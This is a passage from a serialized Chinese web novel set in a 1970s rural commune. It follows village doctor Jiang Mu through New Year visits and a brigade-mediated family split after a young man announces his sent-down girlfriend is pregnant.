“好了好了,犯不着为这种人生气,气坏了身子不值当。”他声音沉稳,“人心就是这样,咱们看清了,以后少来往就是了。” 在江沐的劝说下,张小月的情绪才慢慢平复下来。 接下来的几家亲戚,倒是都还算淳朴热情,没有再出什么幺蛾子。 大家围坐在一起,聊着庄稼收成,说着家长里短,气氛融洽而温暖。 一整天的串门拜年下来,饶是江沐身体素质再好,也感到了一阵阵的疲惫。 傍晚时分,两人回到张峰家,他几乎是沾到炕沿,就直接沉沉地睡了过去。 第134章 江沐的地位,已然无可撼动 江沐是被一股刺痛从沉睡中唤醒的。 紧接着,一股浓烈的焦糊味钻入鼻腔,呛得他猛地睁开了眼。 入目,是熟悉的土坯房顶,但空气中却飘着袅袅的青烟。 他猛地低头。 身下的炕席已经焦黑一片,正中央的位置甚至烧穿了一个碗口大的洞,露出下面被熏得漆黑的泥坯。 被他掀到一旁的棉被褥子,更是惨不忍睹,一个巨大的焦黑窟窿正对着炕席上的洞,边缘还在冒着白烟。 “坏了!” 江沐也顾不上后背的疼痛,一个翻身就滚下了炕。 “着火了!炕烧着了!”他嗓音沙哑地吼了一嗓子。 屋外正在院里说话的张峰、刘桂芝和张小月三人闻声,脸色大变,连滚带爬地冲了进来。 “我的老天爷!”刘桂芝一看到那焦黑的炕席和冒烟的被褥,吓得脸都白了,一个箭步冲过来,脸上满是后怕,“沐子,你没烫着吧?都怪我,都怪我,怕你冻着,这柴火就没断过……” 张峰和张玖博已经反应过来,一人抄起水瓢,一人端起脸盆,从水缸里舀了水就往炕上泼去。 一阵浓郁的白烟蒸腾而起,屋子里顿时弥漫开一股更加呛人的味道。 江沐哭笑不得,拍了拍身上的灰,又摸了摸只是有些发红的后背,冲着手足无措的岳母摆了摆手。 “妈,我没事,就是睡个觉差点把自己当炒豆子给烹了。” 一句玩笑话,让紧张的气氛瞬间缓和下来。 张小月又是好气又是好笑,嗔怪地瞪了母亲一眼,随即又拉着江沐的胳膊上下打量,确认他真没事才放下心来。 她捏着鼻子,看着一片狼藉的土炕,反而笑了起来。 “妈也是好心,怕你睡不安稳。再说,过新年,见点火,这叫旺!说明咱们家今年的日子,保管越过越红火!” 这话一出,刘桂芝也跟着咧嘴笑了起来,连连点头,“对对对,旺,旺!大过年的,就得旺!” 接下来的活,便再也轮不到江沐插手。 张玖博主动包揽了清理炕洞、重新铺设炕席的活计,张峰则忙着把烧坏的被褥抱出去处理。 刘桂芝更是把江沐当成了瓷娃娃,端茶倒水,嘘寒问暖,生怕这个宝贝女婿受了半点委屈。 江沐的地位,已然无可撼动。 中午,酒桌再开。 张峰和张玖博轮番上阵,非要再跟江沐喝个痛快。 结果自然不言而喻,父子俩双双被撂倒在炕上,人事不省。 江沐则面色如常,只是眼神微醺,在张小月半是骄傲半是无奈的搀扶下,回了家。 两人刚到家没多久,高建设就找上了门,热情洋溢地拉着江沐去他家喝酒。 推脱不过,又是一场酣战。 日子在走亲访友和酒桌饭局中飞快流逝。 正月初四,江沐和张小月备上重礼,特意去了一趟公社,拜访公社书记周志康。 周志康对江沐的到来显得十分高兴,没有摆任何官架子,拉着他聊了半下午的家常,从公社的医疗现状,一直聊到未来的发展规划,言语间满是倚重。 初七,周大强和杨小军各自领着媳妇,提着东西来到了江沐家。 几个年轻人凑在一起,没有那么多规矩,炒上几个小菜,温上一壶热酒,天南海北地胡侃,屋子里充满了快活的空气。 初八,孙家三兄弟,孙文杰、孙文涛和孙文武联袂而至,对江沐的救母之恩再次表达了最诚挚的感谢。 转眼到了正月初十。 江沐带着张小月,提着大包小包的礼品,开始了新一轮的拜访。 第一站,是杨小军家。 杨父不在,他与杨小军闲聊两句离开,杨小军带着马小爱给江沐当司机。 第二站,则是周胜利老爷子家。 老爷子依旧是那副乐呵呵的模样,见到江沐和张小月,像是见到了亲孙子孙媳妇,硬是把人摁在家里,让儿媳妇做了一桌好菜,非要留他们吃饭。 酒过三巡,老爷子红着脸,眼神却清明得很。 他拍着江沐的肩膀,感慨万千。 “江小子,说句心里话,我这把老骨头,本来去年就该入土了。能多活这几个月,还能认识你这么个忘年交,是我周胜利这辈子赚来的福分!我死也瞑目了!” 江沐的心微微一沉。 他握住老爷子那枯瘦但依旧有力的手,脸上挂着笑,心里却是一片清明。 他知道,老爷子已是风中残烛。 脏器衰竭,油尽灯枯,回天乏术。 多则三月,少则一月。 可看着老爷子那豁达通透的眼神,江沐明白,任何安慰的话语都是多余的。 这位老人,比谁都看得开。 他不是在等死,而是在享受这抢来的每一天。 告别了周老爷子,江沐和张小月的心情都有些沉重。 最后一站,是孙文武家。 还没到门口,就见孙文武从院子里飞奔出来。 “江哥!你可算来了!我妈念叨你好几天了!” 他眼尖,一眼就看到了跟在江沐身后的杨小军和马小爱,有些诧异,“小军,小爱,你们怎么也……” 江沐笑着为双方做了介绍,“路上碰到的,就一起来了。正好,以后你们俩家离得近,也多走动走动。” “那感情好!快,都快进屋!”孙文武热情地将几人迎了进去,一边走一边嚷嚷,“我已经给我大哥二哥打了电话,他们马上就到!” 刚踏进院子,孙老太太迎了出来。 老太太面色红润,步履稳健,嗓门洪亮,哪里还有半分当初病入膏肓的模样。 她一眼就看到了被江沐牵着的张小月,眼睛瞬间就亮了。 “哎哟,这就是江医生的媳妇吧?快过来让婶子瞧瞧!” 孙老太太不由分说地拉住张小月的手,那亲热劲儿,比对自己未来的儿媳妇还要上心。 她上下打量着张小月,越看越满意,嘴里不住地赞叹。 “真是个好闺女!水灵,标志!江医生有福气,我们全家都托了你们的福啊!” 张小月本就生得一副伶俐相,嘴巴又甜,面对孙老太太的热情,她非但不怯场,反而落落大方地挽住了老太太的胳膊,巧笑嫣然。 “婶子,您可别光夸我,江沐才是那个有福气的呢。能娶到我,是他上辈子修来的德!”她俏皮地一扬下巴,话锋一转,真诚道,“不过话说回来,我们俩最大的福气,是能认识您和孙家大哥们这样的好人。您身子骨硬朗了,就是给我们这些晚辈天大的喜讯!” 孙老太太被哄得眉开眼笑,拉着张小月的手怎么也舍不得放,直夸江沐有眼光,娶了个会说话的金凤凰。 第135章 她肚子里,已经怀了我的种 孙文武在一旁看着,心里也是感慨万千。 他凑到江沐身边,压低了声音,语气里满是藏不住的激动。 “江哥,你不知道,我妈自从病好了,人是精神了,可像今天这么打心眼儿里高兴,还是头一回。” 这份感激,沉甸甸的,无需多言。 老太太热情地招呼着,“都别站着了,进屋坐!文武,看江医生和小军他们吃饭了没?没吃咱现在就开火!” 江沐笑着摆摆手,“婶子,我们在周大爷家吃过了,您千万别忙活。我们就是过来看看您,说说话。” 众人落座,热茶端上,瓜子花生摆满了桌。 不多时,接到电话的孙文杰和孙文涛也赶了过来。一时间,小小的堂屋里挤满了人。 大家天南海北地聊着,从公社的春耕计划,聊到县里的新鲜事,气氛热烈而融洽。 江沐虽话不多,但每每开口,总能说到点子上,引得众人频频点头。 这一坐,就坐到了日头偏西,下午三点多,江沐和张小月才起身告辞。 回去的路上,依旧是杨小军开着那辆手扶拖拉机。 初春的风还有些凉意,但杨小军的心却是火热的。 他一边把着方向盘,一边扭头看向身旁的江沐,眼神里是毫不掩饰的崇拜。 “江沐兄弟,我杨小军这辈子没服过几个人,你绝对是头一个!你看看,从周书记到李队长,再到孙家、周大爷家,整个公社有头有脸的人物,谁不给你几分面子?我跟着你,一天认识的人,比我过去一年认识的都多,都重要!这份情,我都不知道该怎么还了……” 江沐迎着风,目光注视着前方蜿蜒的土路,打断了他的感慨。 “想还?” “想!做梦都想!”杨小军立刻应声。 “那就好好开车。” 杨小军一愣,随即咧嘴大笑,用力地点了点头,眼神里的光更亮了。 他明白,江沐这是把他当自己人了,不需要那些虚头巴脑的客套。 拖拉机先到了杨小军家。 杨父还没从地里回来,江沐和张小月跟杨母打了声招呼,便准备取出后车斗里的自行车回家。 “哎,江沐兄弟,弟妹,你们别骑了!”杨小军一把按住自行车,“这天还冷着呢,骑回去得半个钟头。等着,我把车斗卸了,直接开拖拉机送你们到家门口!” 盛情难却,二人便也同意了。 时光荏苒,转眼便入了三月。 冰雪消融,天气回暖。 憋了一整个冬天的村民们,又三三两两地背上背篓,拿着药锄,开始进山挖草药。 江沐家也随着春天的到来彻底忙碌起来。 春季是各种疾病的高发期,来看病抓药的村民络绎不绝,他常常一忙就是一整天。 这天下午,江沐刚送走一个来看咳嗽的婶子,正准备整理一下药柜,院外突然传来一阵激烈争吵声,由远及近,直奔卫生室而来。 他眉头微蹙,放下手中的草药,起身走了出去。 只见卫生室的院门口,黑压压地围了一小撮人。 二大队队长李有柱和大队书记高志强脸色难看地站在中间,他们身旁,护着一个满脸泪痕、身形单薄的女知青,正是邹芳芳。 而在他们对面,魏四海正吹胡子瞪眼,指着一个年轻人破口大骂。 那年轻人二十出头,虽然穿着打补丁的旧衣服,但身板挺得笔直,一脸的倔强,正是魏四海的小儿子,魏长江。 “你个小畜生!老子养你这么大,是让你跟个城里来的狐狸精鬼混的吗?我告诉你,刘屠户家的亲事,你结也得结,不结也得结!”魏四海嗓门大,恨不得所有人听见。 魏长江的眼眶通红,死死地护在邹芳芳身前,冲着他爹嘶吼起来。 “我不是畜生!芳芳也不是狐狸精!我们是真心相爱的!什么刘屠户家?我不认识!我这辈子只娶邹芳芳一个人!”他的声音因激动而颤抖,却透着决绝。 魏四海气得浑身发抖,指着儿子的鼻子,又转向一旁的邹芳芳,眼神鄙夷。 “真心?真心能当饭吃?刘屠户家是啥条件?陪嫁五十块,三转一响,缝纫机和手表是现成的!你娶了他家女儿,天天吃肉都行!你呢?”他唾沫横飞,对着邹芳芳呵斥,“我们魏家不欢迎你!赶紧离我儿子远点!” “爹!这事跟芳芳没关系,是我愿意的!”魏长江一把攥住邹芳芳的手,随后转向李有柱和高志强。 “李队长!高书记!你们给评评理!现在是新社会,不兴包办婚姻!他要敢逼我,我就去公社举报他!告他搞封建买卖婚姻!我魏长江今天把话撂这儿,这辈子,除了邹芳芳,我谁都不娶!” 这话如同火上浇油,魏四海气得抡起巴掌就要扇过去。 “反了你了!老子今天就打死你这个不孝子!” “住手!” 李有柱一个箭步上前,粗壮的胳膊死死架住了魏四海。 他瓮声瓮气地吼了一嗓子。 “魏四海!有话好好说,动什么手!”他转头瞪了一眼同样激动的魏长江,“还有你!跟自己老子说话,就这么没大没小的?天大的事,也不能这么冲动!” 高志强也赶紧上前打圆场,拉着魏四海的胳膊往后退,压低声音劝道。 “老魏,你冷静点!这事真要闹到公社去,举报信一交,罪名扣下来,所有人都得跟着吃挂落!这可不是闹着玩的!” 魏四海胸膛剧烈起伏,显然余怒未消,嘴里兀自不服气地嘟囔。 “我……我这是为他好!我有什么错?” 眼看父亲油盐不进,魏长江眼中的最后希冀也破灭了。 他深吸一口气,说出的话,让在场所有人都震惊。 “好,既然你说你没错,那这事就没什么好谈的了。” 他决绝地看着魏四海。 “从今天起,分家!我魏长江净身出户!以后我的事,都用不着你们管!” 说完,他拉着早已哭成泪人的邹芳芳,转身就要走。顿了顿,他又像是想起了什么,猛地回头。 “还有,你们也别再去找芳芳的麻烦了。” “她肚子里,已经怀了我的种!” 第136章 是要被抓起来判刑的 李有柱和高志强的脸色,立刻白了。 这可不是闹着玩的! “你……你个浑小子!你知道你在说啥不!”李有柱第一个反应过来,一把揪住魏长江的衣领,声音都走了调。 他那张平日里黝黑憨厚的脸,此刻竟有些扭曲。 高志强也急得直跺脚,冲上去压低声音,对着两个年轻人怒道,“糊涂!你们太糊涂了!这事要是捅出去,让公社知道了,你们俩都得按流氓罪论处!是要被抓起来判刑的!” 流氓罪! 魏四海刚刚还暴跳如雷,此刻却一个字都骂不出来,只有嘴唇在哆嗦。 他再浑,也知道这罪名意味着什么。 “不……不能够吧……俺们……俺们是正经处对象……”魏长江的倔强在绝对的恐惧面前也开始动摇。 “处对象?你们领证了吗?没领证就搞出娃来,这就是耍流氓!”李有柱恨铁不成钢地戳着他的脑门,“现在这情况,你不娶也得娶!不然你们俩就等着戴高帽游街,被送去劳改!” 他猛地转头,一双虎目死死瞪着魏四海,语气前所未有的严厉。 “魏四海!这事你不能再插手了!你要是再逼长江,把他逼急了,他把这事捅出去,你儿子就不是娶媳妇的事了,那是得吃枪子儿的!你懂不懂!” 最后那句吃枪子儿,李有柱几乎是吼出来的。 魏四海浑身一颤,踉跄着后退一步,眼神里充满了恐慌。 他可以打儿子,骂儿子,但绝不能眼睁睁看着儿子走上绝路。 “老魏,队长说的没错!”高志强赶紧跟上,语气沉重,“这事真闹到公社去,长江和邹芳芳要完蛋,你这个当爹的跑不掉一个管教不严的罪名,我这个大队书记也得跟着写检查!谁都落不着好!” 局势瞬间逆转。 魏四海的蛮横,在流氓罪和吃枪子儿的威胁下,土崩瓦解。 李有柱见他松动了,叹了口气,语气缓和下来,“实在不行,就分家!长江这娃我看着长大的,孝顺懂事,他还能真不管你们老两口的死活?” 这话给了魏四海一个台阶,也给了魏长江一线希望。 魏长江眼中的血色褪去,取而代之的是浓浓的哀求。 他猛地挣开李有柱的手,拉着邹芳芳直挺挺地跪在了魏四海面前。 “爹!”他声音哽咽,额头重重磕在冰冷的泥地上,“从小到大,从上学到下地,哪件事我没听您的?我就想自己做主这一回!爹!芳芳肚子里已经有您的孙子了,您真要闹到断绝父子关系,让您的亲孙子没爹没爷吗?” 邹芳芳也哭得泣不成声,跟着磕头,瘦弱的肩膀不住地颤抖。 这一跪,彻底击溃了魏四海最后一道心理防线。 他看着跪在地上苦苦哀求的儿子,看着那个吓得面无人色的女知青,再想到那还没出世的孙子,胸口一阵剧痛。 他闭上眼,再睁开时,满是血丝的眼球里只剩下妥协。 “……行,分!分家就分!” 魏长江和邹芳芳闻言,脸上顿时露出狂喜之色。 “爹!谢谢您!”魏长江激动地又要磕头,语气里带着庆幸,“我们啥都不要,粮食、钱票,我们自己挣!您……您就给我们一个住的地方就行!” 听到这话,魏四海刚压下去的火气又冒了上来,他尖声叫了起来。 “住的地方?我没地方给你们住!你们有本事,自己想办法去!” “你看看你这个老犟筋!”李有柱看不下去了,上前一步,戳着魏四海的胸口,“你就是刀子嘴豆腐心!你还能真看着你儿子带着你大肚子的儿媳妇睡大街?传出去,你魏四海的脸往哪搁!” 一句话点到了魏四海的死穴上。 他最在乎的就是脸面。 他胸膛剧烈起伏,喘着粗气,憋了半天,才从牙缝里又挤出一句。 “新房子,想都别想!村东头那两孔没人住的破窑,你们爱住不住!” 那是魏家最早的老屋,两孔破旧的土窑洞,冬不保暖夏不挡雨,早就废弃了。 可在魏长江听来,这无异于天籁之音。 “住!我们住!”他连连点头,拉着邹芳芳喜极而泣,“爹您放心,我跟芳芳肯定能把日子过好!等窑洞收拾好了,就接您和我妈过去吃饭!” “行了行了!别废话了!”李有柱一锤定音,扭头对高志强道,“高书记,麻烦你,找纸笔,写个分家协议。让他们父子俩当场签字画押,这事就算了了!” 一场风波,总算暂时平息。 李有柱这才把目光转向还跪在地上的两个年轻人,脸色一沉,又是一通劈头盖脸的教育。 “你们俩,胆子比天还大!赶紧给我起来!回头,你们俩都得给我写一份深刻的认识和保证交上来!”他顿了顿,眼神变得格外严肃,“邹芳芳,你怀孕这事,除了我们几个,还有谁知道?” 邹芳芳被他看得一哆嗦,下意识地抓紧了魏长江的胳膊,怯生生地摇了摇头。 “我……我也不敢百分百确定……就是这个月月事没来,还老犯恶心,跟我姐当年怀娃娃的时候一模一样……” 话音刚落,所有人的目光全都聚焦到了院门口那个一直默不作声、仿佛置身事外的身影上。 江沐。 李有柱眼睛一亮,三步并作两步跨到江沐面前,一把抓住他的手腕。 “江沐!快,快给这女娃看看,到底是不是有了!” 江沐平静地点点头,在众人让开的道路中,走到了邹芳芳面前。 他没多问,只是示意她伸出手,三根手指轻轻搭在了她的腕脉上。 院子里再次陷入一片寂静。 所有人都屏住呼吸,紧张地盯着江沐那张脸。 魏四海的眼神尤为复杂,期盼中夹杂着最后的顽抗。 片刻后,江沐收回手,抬起眼帘,目光扫过众人,最后落在魏长江和邹芳芳紧张的脸上。 他的声音不大,却清晰地传进每个人的耳朵里。 “滑脉有力,是喜脉,月份还浅,有一个多月了。” 他顿了顿,看着魏四海明显亮起来的眼神,又淡淡地补了一句。 “从脉象上看,气血充盈,应该是个小子。” 是个小子! 魏四海那张死灰般的脸,瞬间涌上一股红光。 李有柱见状,立刻趁热打铁,一巴掌拍在魏四海的肩膀上。 “听见没,老魏!江沐说是小子,那就准是小子!你马上就要抱大孙子了!你这个当爷爷的,就给两孔破窑?你好意思?” 魏四海被他说得老脸一红,嘴硬地梗着脖子,却终究没了之前的底气。 他恶狠狠地瞪了儿子儿媳一眼,半晌,才从鼻子里哼出一声,瓮声瓮气地甩下一句。 “那……那最多再给他们分点碟子碗!多的没有!” 第137章 魏家这经,念得太让人心寒 “点碟子碗?”李有柱音调都拔高了三度,他指着魏四海的鼻子,气得胡子直翘,“魏四海,你当是打发叫花子呢!你亲孙子,大胖小子,就值几个破碗?” 高志强也皱紧了眉头,上前一步,苦口婆心地劝解,“老魏,话不能这么讲。眼看就要入冬了,天一天比一天冷。两孔破窑,连个遮风的门都没有,你让他们小两口没吃没穿,连床像样的被褥都没有,这要是冻出个好歹,一尸两命,你后悔都来不及!” 李有柱趁势加码,唾沫星子都快喷到魏四海脸上了,“粮食!至少分一半的口粮给他们!还有,两床新被褥,必须置办!不然这事没完!” 魏四海脖子上的青筋一根根暴起,显然是被逼到了极限。 他心疼粮食和钱票,那都是他的命根子。 可一尸两命四个字,狠狠扎在他心窝上。 他剧烈地喘息着,半晌,答应下来。 “行……粮食分一半!被褥……被褥我给他们扯布打两床新的!但这些都是借我家的,以后得还!” 他话锋一转,眼中闪过算计,死死盯住魏长江,“还有!分家可以,养老钱不能少!以后你们俩,一个月,得给我跟你妈一人两块钱!” 一个月四块钱! 魏长江和邹芳芳的脸色一下就白了。 在这个工分才能换几毛钱的年代,四块钱可是一笔巨款。 就在魏四海以为拿捏住了儿子时,魏长江却猛地抬起了头。 他眼中的哀求和软弱已经褪去,取而代之的是一种豁出去的平静。 “我答应。” 三个字,掷地有声。 魏四海一愣,显然没料到他会答应得如此干脆。 魏长江的目光直直地刺向他,“养老钱我给。但是,去年下半年,我跟着山里的药农上山挖药材,卖了六十八块四毛钱,钱全在你那。这笔钱,我要一半!三十四块二,一分不能少!” “你放屁!”魏四海瞬间炸毛,跳着脚嘶吼,“老子养你这么大,你挣的钱就是老子的钱!你还敢跟老子分家产?我呸!” “养我?”魏长江笑了,那笑声里充满了嘲讽,他的声音清晰地传遍了整个院子。 “从我记事起,你管过我一天吗?是爷爷奶奶把我从那么点儿大拉扯起来,有好吃的第一个先给我。他们走的时候,你眼睛都没红一下,扭头就把我从他们那屋拽回来,让我下地挣工分,供我大哥在县里念书!” 他的眼眶红了,声音开始颤抖,积压了十几年的委屈在此刻爆发。 “大哥穿新衣,我穿带补丁的旧袄;大哥吃白面馍,我啃黑面窝头!你什么时候问过我冷不冷,饿不饿?在你眼里,我魏长江就不是你儿子,就是你家养的一头牲口!” 这番控诉,让在场所有人都沉默了。 连一向咋咋呼呼的李有柱,也只是沉着脸,一言不发。 家家有本难念的经,魏家这经,念得太让人心寒。 一直站在门口的江沐,眼神微动。 这场景,何其相似。 他那个家,又何尝不是如此?只不过,苏红霞的手段比魏四海高明百倍,从不会如此赤裸裸地撕破脸皮。 他看着魏长江,仿佛看到了另一个时空的自己。 就在这时,一个瘦小的身影从屋里快步走了出来,带着哭腔哀求着。 “他爹!他爹你少说两句吧!长江也是你的仔啊!你就看在芳芳肚子里的娃的份上,别再逼他了!” 来人是魏四海的婆娘,魏李氏。 一个被岁月和繁重劳动压弯了腰的女人,脸上刻满了皱纹,一双手更是粗糙得像老树皮。 “你个老娘们儿懂个啥!”魏四海正在气头上,见她出来搅局,更是火冒三丈,一把就将魏李氏往外推,“滚回去!这里没你说话的份!” 魏李氏本就瘦弱,被他这么一推,站立不稳,一个踉跄就朝地上摔去。 “妈!” 魏长江目眦欲裂,一声怒吼,整个人冲了过去。 他一把扶住母亲,反手用尽全身力气,狠狠推在魏四海的胸口。 魏四海猝不及防,被推得倒退好几步,一屁股墩儿坐在了地上。 “你……你个小畜生!你敢对老子动手!”魏四海又惊又怒,挣扎着想爬起来。 “够了!”一声暴喝炸响在院中。 李有柱的脸色铁青,气得浑身发抖。 他指着地上的魏四海,又指着怒发冲冠的魏长江,声音里满是失望。 “反了天了!都反了天了!要不要我回大队部,给你们俩一人发一杆枪?你们父子俩今天就在这院子里做个了断,谁先打死谁,算谁有本事!” 这话骂得极重,父子俩也都冷静下来。 魏长江喘着粗气,双拳紧握,骨节捏得发白。 他死死地瞪着地上的父亲,眼神复杂。 而魏四海,仰头看着比自己高出一个头的儿子,那魁梧的身板,那充满力量的臂膀,让他第一次感觉到了畏惧。 他意识到,这个儿子,已经不是那个可以任由他打骂的少年了。 剑拔弩张的气氛中,魏四海眼中的疯狂渐渐褪去,化为了忌惮。 他自己从地上爬了起来,拍了拍屁股上的土,没敢再上前。 李有柱见状,知道火候到了。 他走到院子中央,当起了判官。 “魏四海,我跟你说!李氏是你婆娘,不是你家的牲口,你想打就打,想骂就骂!再有下次,我让你去大队部学习班好好学学怎么当个男人!” 他先敲打了魏四海一通,然后话锋一转,一锤定音。 “这事,就这么定了!养老钱,一个月一人一块,不能再多!长江挖药材的钱,三十四块二,你必须分给他!今天就得给!” 魏四海脸色一阵青一阵白,心疼得直哆嗦,可看着队长的眼神,和儿子那冷硬的脸,他知道再闹下去也讨不到好。 “行!一块就一块!”他咬着后槽牙,眼珠子一转,指着李有柱,“队长,你得给我当个见证人!以后这小畜生要是不养我,不给我养老送终,我就去公社告你去!我找你李有柱要人!” 第138章 好歹……也算是个家了 “我……我X你个先人板板!”李有柱彻底被他这不要脸的劲儿给气笑了,指着他鼻子破口大骂,“你拿我当什么了?当你的保人?魏四海我告诉你,你再给老子耍无赖,老子现在就把你捆了送公社去!” 谁知魏四海竟是铁了心,一副死猪不怕开水烫的架势。 “你去啊!你现在就去!把我们都报上去!让上面来处理!大不了长江和那女娃去劳改,我跟你高点长也跟着挨处分!我看谁怕谁!” 他这是拿所有人的前途,来赌自己的那点利益。 “你!”李有柱气得差点一口气没上来。 就在这僵局之中,一直沉默的魏长江,却缓缓开了口。 他的声音疲惫不已,“队长,别跟他吵了。” 他转过头,深深地看了一眼面如死灰的魏四海,眼神里再无恨意,只剩下悲哀。 “我答应。我给他养老,给他送终。” 他顿了顿,自嘲地扯了扯嘴角。 “不然呢?我总不能让我儿子,让我婆娘,跟着我一起,一辈子被人戳脊梁骨吧。” 李有柱胸口重重地吐出一口浊气,随后一摆手,彻底掐断了魏四海还想嗫嚅的嘴。 “行了!就这么定了!高书记,麻烦你,拿纸笔来,立个字据!” 高志强早就料到这一步,应了一声,转身从自己随身的帆布包里掏出纸笔。 他找了院里唯一一张还算平整的石磨盘当桌子,就着昏黄的暮色,笔走龙蛇。 他的字写得很快,却条理分明,一字一顿地念着:“兹证明,青莲公社二大队社员魏四海,与其子魏长江分家。经大队队长李有柱、大队书记高志强调解,双方议定如下:一,魏四海将老宅西侧两孔废弃窑洞分与魏长江夫妇;二,分予粮食……” 魏四海眼睁睁看着那白纸黑字,仿佛看到的不是字,而是从他身上活生生剜下去的一块块肉。 “……三,魏长江夫妇每月需支付魏四海、魏李氏养老费,每人每月一元整,共计两元;四,魏长江去年采药所得六十八块四毛,魏四海需即刻分予其半数,计三十四块两毛。双方情愿,日后无悔。” 高志强念完,将纸笔递过去,“没问题的话,就签字,按手印吧。” 魏四海的手抖得不像话,捏着那支笔,半天落不下去。 他怨毒的眼神死死剜着魏长江,恨不得在他身上戳出两个窟窿。 可迎上李有柱那瞪着的眼睛,他最后还是哆哆嗦嗦地写下了自己的名字。 轮到魏长江,他接过笔,动作没有丝毫犹豫。 那三个字写得沉稳而用力。 “按手印!”李有柱拿出随身携带的红色印泥盒,打开。 魏四海几乎是把手指砸进去的,那红色的指印歪歪扭扭,透着一股不甘。 魏长江则稳稳地按下,那红色的指印,彻底了结了他与这个家的过去。 字据一式两份,高志强将其中一份交给了魏长江。 “去吧,把该你们的东西拿回来。”李有柱的声音里带着一疲惫。 半个小时后,一辆破旧的板车被魏长江拉回了卫生室院外。 车上堆着两床看不出颜色的薄被,一口豁了边的铁锅,几只灰扑扑的陶碗,还有半袋子黑乎乎的杂粮面。 这就是他全部的家产。 邹芳芳跟在车边,眼圈红红的,却死死咬着嘴唇,没让眼泪掉下来。 李有柱看了一眼那点可怜的家当,眉头拧成了个疙瘩,他没多说什么,只是从兜里又摸出一张纸,“这是结婚申请,你们俩填一下,我明天给你们交到公社去。” 他又扭头对高志强和江沐招呼了一声,“走,搭把手,把东西给他们送到老宅那边去。” 江沐默不作声地跟上。 一行人推着板车穿过村子,一路上,不少村民探头探脑,对着魏家的方向指指点点,压低了声音的议论和毫不掩饰的嗤笑。 “听说了吗?魏老四被他儿子给撅了!” “活该!抠抠搜搜一辈子,连亲儿子都坑,这下好了,鸡飞蛋打!” “那两孔破窑洞,耗子都不去做窝,他倒好意思分给儿子当新房。” 这些风言风语,魏长江充耳不闻,只是低着头,默默地拉着车。 老宅位于村子最偏僻的角落,说是宅子,其实就是一片荒地。 半塌的土坯墙,院子里一人多高的荒草,几乎无处下脚。 江沐他们踩着前人的脚印,硬是走出一条路,才勉强进了院子。 两孔窑洞黑黢黢地嵌在土崖上,洞口上布满了蛛网般的裂纹,仿佛随时都会塌下来。 “还好,没塌。”李有柱上前敲了敲窑壁,听着还算沉闷的声响,松了口气,“收拾收拾,糊上新泥,再打个像样的门,勉强能住人。好歹……也算是个家了。” 说完,他竟是第一个弯下腰,开始徒手拔起院子里的杂草。 就在这时,一个瘦弱的身影提着一把镰刀,踉踉跄跄地跑了过来,是魏李氏。 她看着眼前的景象,眼泪吧嗒吧嗒往下掉,却一句话没说,也跟着埋头割起了草。 邹芳芳对着众人感激地点点头,转身往知青点跑去,“我去把我的东西拿过来。” 她刚一进知青点的院子,就被一群人围住了。 “芳芳,你可回来了!” “我们都听说了,队长同意你们结婚了?” “真的假的?那魏家……没为难你吧?” 一张张年轻的脸上,写满了关切、好奇,以及羡慕。 他们这些人,来到这片贫瘠的土地,回城的希望渺茫。 江沐开了个头,如今邹芳芳又成了第二个。 扎根在这里,似乎成了唯一看得见摸得着的出路。 不少人,其实也和村里的青年眉来眼去的。 邹芳芳的今天,会不会就是他们的明天? 最后,几个平日里关系好的女知青,七手八脚地帮邹芳芳收拾好她那只小小的柳条箱和一卷铺盖,陪着她送了过来。 看到这帮朝气蓬勃的年轻人,李有柱正拔草的手一顿,他跟几个知青打了声招呼,看着他们熟络地跟魏长江和邹芳芳说笑,帮忙收拾,心里却是一个激灵。 他猛地意识到一个被忽略的问题。 这邹芳芳的肚子,是在他眼皮子底下搞大的! 想到这里,李有柱只觉得一个头两个大,太阳穴突突地跳了起来。 这队长的差事,真是越来越不好干了! 第139章 我是替周大哥来给你报个丧的 李有柱抹了把汗,大手一挥,嗓门又恢复了往日的洪亮。 “人多力量大!都别愣着了,先把这院子给拾掇出来!” 有了知青们这股生力军的加入,场面瞬间就热火朝天起来。 男知青们卷起袖子,有的拔草,有的搬石头,干得满头大汗。 女知青们也没闲着,拿着从知青点借来的扫帚,把窑洞里积了不知多少年的灰尘蛛网往外扫,呛得直咳嗽,却没人叫一声苦。 江沐没怎么说话,只是默默地找准了最费劲的活儿——他看那窑洞的土墙裂了好几道大口子,便找来铁锹和泥,准备加固。 他动作娴熟,和泥的力道和加水的比例都恰到好处,一看就是干惯了活的。 不到一个钟头,那片荒草丛生的破败院子,竟奇迹般地现出了几分家的雏形。 李有柱瞧着心里舒坦,一拍大腿,“走!跟我去大队仓库,给你们寻摸个像样的门板和窗户!” 他又点了几个身强力壮的知青,一行人浩浩荡荡地去了。 没多会儿,就抬着两扇不知是从哪家拆下来的旧木门和一扇带着破洞窗纸的木窗框回来了。 虽然旧,但总比拿破席子挡风强。 “江沐,你手巧,这安装的活儿,你多盯着点!”李有柱把这技术活交给了他最信得过的人。 江沐点了点头,指挥着众人比划位置,找来锤子钉子,忙活起来。 夕阳的余晖将他们的身影拉得老长,投射在斑驳的土墙上,竟有种说不出的温暖和希望。 …… 等江沐拖着一身疲惫回到自己的小院时,天色已经完全黑了。 屋里亮着一盏昏黄的煤油灯,张小月正坐在灯下,手里纳着鞋底。 “回来啦?”她抬起头,脸上带着笑意,“快洗手,饭都做好了。” 饭桌上摆着两大碗面,白生生的面条上卧着翠绿的葱花,一勺烧得滚烫的菜籽油浇在火红的辣椒面上,浓郁的香气瞬间炸开,勾得人食指大动。 是地道的陕州油泼面。 江沐埋头扒拉着面,饿了一天,这碗面吃得格外香甜。 “今天可真热闹,”张小月给他碗里夹了一筷子自己腌的酸菜,忍不住开了口,“我听人说,魏家的事儿,是队长和你一起去断的?” 江沐咽下一大口面,点了点头,将今天发生的事情言简意赅地讲了一遍,末了,他压低了声音,添了一句,“看那样子,这俩人怕是这几天就得办喜事了。” 张小月听得目瞪口呆,手里的筷子都停了,“我的天!这……这还没结婚呢,就……就有了?这邹芳芳胆子也太大了!她就不怕被人戳脊梁骨?” 在乡下,未婚先孕可是天大的丑闻,唾沫星子都能把人淹死。 江沐看着张小月,语气严肃了几分,“这事儿你知道就行了,千万别往外说。芳芳一个女同志,不容易。咱们能帮衬一把是一把,别让人家难做。” “我晓得轻重。”张小月立刻点头,她虽然爱听个八卦,但心地善良,知道什么话能说什么话不能说。 两人正说着,院门被推开了,一个爽朗的声音传了进来。 “江兄弟!在家不?” 是杨小军。 他探头探脑地走进来,看见江沐碗里的面,眼睛都直了,“嚯!油泼面!弟妹这手艺,绝了!” 江沐笑了笑,朝屋里喊了一声,“小月,再给杨哥盛一碗来!” “哎,来啦!” 